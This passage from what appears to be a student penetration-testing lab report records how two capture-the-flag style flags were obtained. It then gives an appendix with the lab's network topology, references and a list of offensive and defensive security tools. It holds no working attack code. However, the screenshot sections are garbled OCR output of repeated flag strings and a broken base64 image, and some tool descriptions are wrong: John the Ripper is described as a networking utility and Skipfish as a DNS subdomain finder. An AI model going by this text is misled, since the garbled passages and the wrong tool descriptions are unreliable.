Flag 6
Flag 6{listen} was obtained from tcpdump on web server, which can only be done on root.

Meousepad

The document is not UTF-8 valid.
Other partially valid encodings were found, please choose below.

Default (UTF-8, partial) @ Other (partial): 1S0O-8859-1

- - .o .o e ey~ e T
wﬂwgﬁ{listen}ﬂagﬁ{listen}ﬂagﬁ{listen}ﬂag(ﬂf:'*i'-,i'-w,w*'-ﬂﬂ[
seeeegb{listen}flagb{listen}flag6{listen}flag+@:|feéfsederedeseefid]s|
Mwﬂgﬁ{listen}ﬂagﬁ{listen}ﬂagﬁ{listen}ﬂag+ﬂflir*-dw*-dwwe[

eeveogh{listen}flagb{listen}flagb{listen}flag, L‘.‘!fé

ﬁdﬂﬁﬁdﬁﬂﬁﬁﬂeﬁ ! i"‘fl-;faﬁﬁ EesT" - ﬁﬁairi--‘ﬁﬁﬁ
awwgﬁ{listen}ﬂagﬁ{listen}ﬂagﬁ{listen}ﬂag—ﬂf t*'-d*'-wdw&*a-
eeevegh{listen}flag6{listen}flag6{listen}flag. mfuﬁ‘{.ﬂdﬂﬂﬂdwwﬂ[
wﬁwgﬁ{1isten}ﬂagﬁ{1isten}ﬂagﬁ{listen}ﬂagmf4ﬁdwﬁdww|
D,-lz' pfwﬁhlfawwgﬁ{listen}ﬂagﬁ{listen}ﬂagﬁ{listen}ﬂagz
w:i]ﬁx~~wl-1:;' +| ff'—wf'—:‘?wﬁwgﬁ{listen}ﬂagﬁ{'

Cancel OK

Flag 7
Flag7, available after gaining client machine access via ssh tunnel.

stephensonanbnclient:~% cat flag?

IVBORWEKGZ o AAAANSUREUZAAAJAAAAAUCATAAADtBSMhAAAAAXNSRABTIATSS rEDAAAAEHQUlBAA
JwyvBYOQUAAAATJCERZ cwAADSMAAATDACAvOGOAAATASURBYGhD7 ZaLbYQwDIaZi4GY56ZhmRvms j
H}Q:UhE”hLuqIESPBhEPaEFPDEUGijjLEWEHSIEH 1sM5572 | 680Pg z5/Zonsk

1Y C _TuHu4q+DlH1
HSUquUEUUkaENwEU?D46WLDbFEGEyTHbREiqDPhrTQUFM@b ) kL EnJNNdzTya
mzFXoClkEhxxdS5/mOxH3zApIs3FohZvs! 5uEuTMLpE JAQSJic iHQdjt/TiS08TIrZCy
VVyR1pCBaSFUShTLTHIbOMAuiLp8XRhpCvk JOFm@rfj+mEj3 'b+de:Nb|1:qtupw

tmSe6gHbugvg+bkawuDbwiwTPtbTsoleCK

hF”cJHUhqliMq'PEPEO1HQEWGEHGTZ:\F#EJMIFﬁDlE' go9M7kRENMF
*FJU1+4L’GUFtPJLnu1IIpT”T PRqDUATt14EEdJADdDL5wdu:EFT1y




Appendix

Links and References

NBN Request for Proposal

NBN's Contract for Penetration Testing Services

Report Template Example

Example Template

Risk Scoring

NIST CVSS
https://www.first.org/cvss/
https://www.sans.org/blog/what-is-cvss

Network Topology

nbnwebserver
eth0: 10.10.0.66
You eth1:172.16.1.1

172.16.1.1

nbnclient
eth1:172.16.1.2

172.16.1.2

10.10.0.* 10.10.0.66 >
10.10.0.0/24

172.16.1.0/24


https://nyu0-my.sharepoint.com/personal/pk89_nyu_edu/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fpk89%5Fnyu%5Fedu%2FDocuments%2F2021spring%2FAssignments%2FFinal%2Fpublic%2FPenTest%2DContract%2Epdf&parent=%2Fpersonal%2Fpk89%5Fnyu%5Fedu%2FDocuments%2F2021spring%2FAssignments%2FFinal%2Fpublic&ga=1
https://www.offsec.com/reports/sample-penetration-testing-report.pdf
https://nvd.nist.gov/vuln-metrics/cvss
https://www.first.org/cvss/
https://www.sans.org/blog/what-is-cvss/

Services

Nmap Output Ports / Hosts Topology Host Details Scans
Host -
172.16.1.1
172.16.1.2

i=Hosts Viewer L] Fisheye = Controls

Cost

Average Cost of Pentesting

Tests/Methodology

OWASP(Pentest Methodology)
NIST(Pentest Guide)

Tools

recon-ng - Automates reconnaissance tasks for gathering information about targets.
tcpdump - Captures and analyzes network traffic passing through your network interface.
NMAP - Scans networks to identify hosts, services, and vulnerabilities.

Nikto - Identifies potential security weaknesses in web servers.

OWASP - Amass - Discovers subdomains for a target domain.

ZAP - Provides a graphical interface for web application security testing.

Netcat - Offers a versatile tool for network communication and creating network connections.
john the ripper - Offers a versatile tool for network communication and creating network
connections.

Hydra - Performs brute-force login attempts against different services.

meterpreter - Provides a powerful post-exploitation framework for compromised systems.



https://www.intruder.io/blog/how-much-does-penetration-testing-cost
https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies#penetration-testing-execution-standard
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-60v2r1.pdf
https://github.com/lanmaster53/recon-ng
https://www.tcpdump.org/index.html#documentation
https://nmap.org/
https://securitytrails.com/blog/nikto-website-vulnerability-scanner#content-github-based-installation
https://github.com/owasp-amass
https://www.zaproxy.org/
https://docs.oracle.com/cd/E86824_01/html/E54763/netcat-1.html
https://www.openwall.com/john/
https://github.com/vanhauser-thc/thc-hydra
https://docs.rapid7.com/metasploit/getting-started

Nessus - Vulnerability scanner that identifies security weaknesses in systems.
OpenVAS - Open-source vulnerability scanner similar to Nessus.

Burp Suite - Comprehensive suite for web application security testing.
SQLMap - Automates the process of exploiting SQL injection vulnerabilities.
Aircrack-ng - Cracks Wi-Fi network passwords using captured handshake files.
Skipfish - Identifies subdomains by searching for DNS records.

Dirb / Dirbuster - Brute-forces directory listings on web servers.

w3af - A web application attack and audit framework.



https://www.tenable.com/products/nessus?ttrp782657=ttrp705889
http://openvas
https://portswigger.net/burp/pro
https://sqlmap.org/
https://www.aircrack-ng.org/doku.php?id=cracking_wpa
https://github.com/spinkham/skipfish/blob/master/README
https://github.com/topics/dirbuster
https://github.com/andresriancho/w3af

